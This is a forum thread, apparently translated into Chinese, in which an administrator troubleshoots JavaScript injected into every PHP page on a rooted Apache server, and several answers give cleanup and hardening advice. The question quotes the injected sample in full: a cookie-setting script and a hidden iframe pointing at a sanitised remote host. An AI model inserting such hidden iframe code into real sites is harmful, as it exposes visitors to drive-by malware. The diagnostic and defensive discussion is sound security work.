服务器范围的 javascript 注入

信息安全 php xss 阿帕奇 注射
2021-08-13 18:35:34

更新:服务器被植根,php.ini 被替换,导致注入出现。仍然没有弄清楚哪个指令正在注入 javascript。

我正在对一个被黑的网站进行故障排除,其中每个 PHP 文件中都注入了一个 javascript,并且只有 PHP。注入也只出现在 IE 中。我以前有过注入的经验,但大多数都是通过 FTP 注入的,您可以在页面本身中看到它们。到目前为止,我没有在服务器上看到任何病毒或恶意进程,并且开始认为 PHP 解释器或 Apache 以某种方式被黑客入侵。有没有人见过这个或者知道我应该去哪里看?注射如下,

<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

这发生在服务器上的所有网站上,即使 PHP 文件只有一个简单的回显。.htaccess 对所有这些看起来都很干净。运行 PHP 5.2.17 和 Apache 2.2.17 的服务器。

4个回答

根据您对@esskar 回答的评论,您的服务器似乎已被植根并且 php 二进制文件已被替换。

由于您不知道还有什么可能被替换,我会从头开始重新安装。不幸的是,除非您确切知道黑客何时发生,否则您将不得不怀疑备份中的数据文件。(我怀疑你不知道,因为你不知道黑客到底是什么。)

我对“从头开始重新安装”方法的最大问题是,您很可能拥有使该攻击成功的完全相同的漏洞。为了防止这种情况发生:

  • 更改所有服务的所有密码。
  • 确保安装了所有软件包的所有补丁。
  • 关闭不使用的服务。
  • 如果可行,将服务划分到多台服务器上——将可能存在较高风险的服务放在单独的服务器上。
  • 设置监控 (IDS) 并对其进行维护,以便您有机会知道如果发生另一次攻击会发生什么。

打开一个 shell 并从那里运行 php(也许是一个简单的 hello world),看看会发生什么。如果它输出注入的代码,你就知道要修复什么。

编辑1:
以前没有见过这个。我事先做了一些谷歌查询,结果有点小,但大多数结果都链接到我从 avira 收到安全警报的页面:object <<< JS/Redirector.LC; 病毒 ; 包含 Java 脚本病毒 JS/Redirector.LC 的检测模式

尝试弄清楚您网站上的恶意内容是如何工作的可能不是一个很好的利用时间。很难确信你已经找到了这一切。

相反,标准的建议是从入侵前的可信备份重新格式化并重新安装。关于这一点还有很多话要说。我不会重复其他人写的内容,而是将您引向“怀疑入侵爱好网络服务器后怎么办”这个问题,该问题很好地涵盖了这个主题。

(我假设在这个阶段您正在使用离线 VM 映像进行分析并且服务器已关闭)

有可能这可以在多个层次上实现——php 脚本、php 配置、apache 二进制文件,甚至内核。

开始查找的明显位置是 PHP 脚本。如果那里什么都没有,那么下一步就是检查 httpd 配置中的自动前置。假设这是干净的,并且您看不到与 .html 文件相同的行为,我会尝试在 httpd 配置中切换 php 文件的文件类型关联。如果问题仍然存在,那么 .js 将由 Apache 中的 PHP 处理程序注入(但不是专门由 PHP 本身注入)。

请注意,理解注入是如何实现的,对于理解实现注入的代码是如何部署的——以及如何保护你的服务器免受攻击,可能没有什么好处。

你没有说这是 mod_php、cgi 还是 fcgi - 这有一些影响。

您也没有提到它正在运行什么操作系统,也没有提到是否有备份。

这会很有用,因为大多数 Linux 包管理器都提供(通常是相当粗糙的)文件签名检查机制。如果你有旧的备份,你可以看看你是否能找到最新的没有显示注入的文件,并将文件与第一个显示注入的文件进行比较。